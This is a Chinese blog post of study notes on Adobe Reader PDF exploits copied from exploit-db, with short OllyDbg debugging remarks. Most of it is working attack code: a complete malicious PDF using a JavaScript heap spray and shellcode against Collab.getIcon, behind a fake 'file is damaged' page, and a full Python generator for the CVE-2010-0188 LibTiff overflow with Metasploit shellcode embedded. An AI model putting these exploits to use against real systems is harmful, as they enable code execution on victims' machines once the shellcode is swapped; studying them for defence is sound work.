• PDF 学习


    学习来自于:  exploit-db


    1)

    首先 ADOBE Reader    AdbeRdr90_zh_CN   9.0

    需要注意的是    OD调试时 选择不忽略异常(要不然就直接跑掉,就不叫调试了)


    编写好POC OD调试



    发现  需要构造特殊字符



    接着可以看到  0xc0xc0xc0xc 被  shellcode 覆盖   执行了  shellcode


    %PDF-1.1
    
    1 0 obj
    <<
     /Type /Catalog
     /Outlines 2 0 R
     /Pages 3 0 R
     /OpenAction 7 0 R
    >>
    endobj
    
    2 0 obj
    <<
     /Type /Outlines
     /Count 0
    >>
    endobj
    
    3 0 obj
    <<
     /Type /Pages
     /Kids [4 0 R]
     /Count 1
    >>
    endobj
    
    4 0 obj
    <<
     /Type /Page
     /Parent 3 0 R
     /MediaBox [0 0 612 792]
     /Contents 5 0 R
     /Resources <<
                 /ProcSet [/PDF /Text]
                 /Font << /F1 6 0 R >>
                >>
    >>
    endobj
    
    5 0 obj
    << /Length 98 >>
    stream
    BT /F1 12 Tf 100 700 Td 15 TL (Open File Error!  Maybe the file is damaged!
    ) Tj ET
    endstream
    endobj
    
    6 0 obj
    <<
     /Type /Font
     /Subtype /Type1
     /Name /F1
     /BaseFont /Helvetica
     /Encoding /MacRomanEncoding
    >>
    endobj
    
    7 0 obj
    <<
     /Type /Action
     /S /JavaScript
     /JS (
    
    var shellcode=unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063");
    
    var nops = unescape("%u9090%u9090");
    while (nops.length < 0x100000) 
    nops += nops;
      nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
      nops=nops+shellcode;
      var memory = new Array();
      for (var i=0;i<200;i++) 
    memory[i] += nops;
    var str = unescape("%0c%0c%0c%0c");
    while(str.length < 0x6000)
      str += str;
    app.doc.Collab.getIcon(str+'aaaaD.a');
    
    )
    >>
    endobj
    
    xref
    0 8
    0000000000 65535 f 
    0000000010 00000 n 
    0000000098 00000 n 
    0000000147 00000 n 
    0000000208 00000 n 
    0000000400 00000 n 
    0000000549 00000 n 
    0000000663 00000 n 
    trailer
    <<
     /Size 8
     /Root 1 0 R
    >>
    startxref
    1946
    %%EOF


    2)

     ADOBE Reader 

     Version tested:
     9.3.2
     9.3.1

    Adobe Systems Incorporated 直接崩溃

    其中他的 c++代码  可以设置项目  不报waring 要不然很慢

    http://www.exploit-db.com/exploits/14121/


    3)

    Version: <=8.3.0, <=9.3.0

    __doc__='''
     
    Title: Adobe PDF LibTiff Integer Overflow Code Execution.
    Product: Adobe Acrobat Reader
    Version: <=8.3.0, <=9.3.0
    CVE: 2010-0188
    Author: villy (villys777 at gmail.com)
    Site: http://bugix-security.blogspot.com/
    Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3)
    ------------------------------------------------------------------------
    '''
    import sys
    import base64
    import struct
    import zlib
    import StringIO
     
    SHELLCODE_OFFSET = 0x555
    TIFF_OFSET=0x2038
     
    # windows/exec - 227 bytes
    # http://www.metasploit.com
    # Encoder: x86/shikata_ga_nai
    # EXITFUNC=process, CMD=calc.exe
    buf ="xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    buf +="x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    buf +="x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    buf +="x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    buf +="xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    buf +="x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    buf +="xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    buf +="xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    buf +="x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    buf +="x53"
    buf +="x68x64x61x30x23"
    buf +="x68x23x50x61x6E"
    buf +="x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8"
     
    class CVE20100188Exploit:
        def __init__(self,shellcode):
            self.shellcode = shellcode
            self.tiff64 = base64.b64encode(self.gen_tiff())
     
        def gen_tiff(self):
            tiff =  'x49x49x2ax00'
            tiff += struct.pack("<L", TIFF_OFSET)
     
            tiff += 'x90' * (SHELLCODE_OFFSET)
            tiff += self.shellcode
            tiff += 'x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)
     
            tiff += "x07x00x00x01x03x00x01x00"
            tiff += "x00x00x30x20x00x00x01x01x03x00x01x00x00x00x01x00"
            tiff += "x00x00x03x01x03x00x01x00x00x00x01x00x00x00x06x01"
            tiff += "x03x00x01x00x00x00x01x00x00x00x11x01x04x00x01x00"
            tiff += "x00x00x08x00x00x00x17x01x04x00x01x00x00x00x30x20"
            tiff += "x00x00x50x01x03x00xCCx00x00x00x92x20x00x00x00x00"
            tiff += "x00x00x00x0Cx0Cx08x24x01x01x00xF7x72x00x07x04x01"
            tiff += "x01x00xBBx15x00x07x00x10x00x00x4Dx15x00x07xBBx15"
            tiff += "x00x07x00x03xFEx7FxB2x7Fx00x07xBBx15x00x07x11x00"
            tiff += "x01x00xACxA8x00x07xBBx15x00x07x00x01x01x00xACxA8"
            tiff += "x00x07xF7x72x00x07x11x00x01x00xE2x52x00x07x54x5C"
            tiff += "x00x07xFFxFFxFFxFFx00x01x01x00x00x00x00x00x04x01"
            tiff += "x01x00x00x10x00x00x40x00x00x00x31xD7x00x07xBBx15"
            tiff += "x00x07x5Ax52x6Ax02x4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07x58xCDx2Ex3Cx4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07x05x5Ax74xF4x4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07xB8x49x49x2Ax4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07x00x8BxFAxAFx4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07x75xEAx87xFEx4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07xEBx0Ax5FxB9x4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07xE0x03x00x00x4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07xF3xA5xEBx09x4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07xE8xF1xFFxFFx4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07xFFx90x90x90x4Dx15x00x07x22xA7x00x07xBBx15"
            tiff += "x00x07xFFxFFxFFx90x4Dx15x00x07x31xD7x00x07x2Fx11"
            tiff += "x00x07"
            return tiff
         
     
        def gen_xml(self):
            xml= '''<?xml version="1.0" encoding="UTF-8" ?> 
    <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
    <config xmlns="http://www.xfa.org/schema/xci/1.0/">
    <present>
    <pdf>
    <version>1.65</version> 
    <interactive>1</interactive> 
    <linearized>1</linearized> 
    </pdf>
    <xdp>
    <packets>*</packets> 
    </xdp>
    <destination>pdf</destination> 
    </present>
    </config>
    <template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
    <subform name="topmostSubform" layout="tb" locale="en_US">
    <pageSet>
    <pageArea id="PageArea1" name="PageArea1">
    <contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" /> 
    <medium short="612pt" long="792pt" stock="custom" /> 
    </pageArea>
    </pageSet>
    <subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
    <break before="pageArea" beforeTarget="#PageArea1" /> 
    <bind match="none" /> 
    <field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
    <ui>
    <imageEdit /> 
    </ui>
    </field>
    <?templateDesigner expand 1?> 
    </subform>
    <?templateDesigner expand 1?> 
    </subform>
    <?templateDesigner FormTargetVersion 24?> 
    <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?> 
    <?templateDesigner Zoom 94?> 
    </template>
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
    <xfa:data>
    <topmostSubform>
    <ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64 +'''</ImageField1> 
    </topmostSubform>
    </xfa:data>
    </xfa:datasets>
    <PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" /> 
    <form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
    <subform name="topmostSubform">
    <instanceManager name="_Page1" /> 
    <subform name="Page1">
    <field name="ImageField1" /> 
    </subform>
    <pageSet>
    <pageArea name="PageArea1" /> 
    </pageSet>
    </subform>
    </form>
    </xdp:xdp>
     
    '''
            return xml
     
        def gen_pdf(self):
            xml = zlib.compress(self.gen_xml())
            pdf='''%PDF-1.6
    1 0 obj 
    <</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>>
    stream
    ''' + xml+'''
    endstream 
    endobj 
    2 0 obj 
    <</V () /Kids [3 0 R] /T (topmostSubform[0]) >>
    endobj 
    3 0 obj 
    <</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>>
    endobj 
    4 0 obj 
    <</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>>
    endobj 
    5 0 obj 
    <</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>
    endobj 
    6 0 obj 
    <</Kids [5 0 R]/Type /Pages/Count 1>>
    endobj 
    7 0 obj 
    <</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>>
    endobj 
    8 0 obj 
    <</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>>
    endobj xref
    trailer
    <</Root 7 0 R/Size 9>>
    startxref
    14765
    %%EOF'''
            return pdf
     
     
    if __name__=="__main__":
        print __doc__
        if len(sys.argv) != 2:
            print "Usage: %s [output.pdf]" % sys.argv[0]
        print "Creating Exploit to %s
    "% sys.argv[1]
        exploit=CVE20100188Exploit(buf)
        f = open(sys.argv[1],mode='wb')
        f.write(exploit.gen_pdf())
        f.close()
        print "[+] done !"


















  • 相关阅读:
    Delphi XE5 图解为Android应用制作签名
    Delphi事件的广播 转
    Delphi XE6 Android拨号函数
    Firemonkey里触发home按键被按下的事件
    如何处理App的Application的事件
    SQL SERVER存储过程中使用事务与捕获异常
    关于蓝牙打印机的开发
    图标大全网站
    提高Android和iOS调试编译速度
    百万级数据查询优化(数据库)
  • 原文地址:https://www.cnblogs.com/zcc1414/p/3982356.html
Copyright © 2020-2023  润新知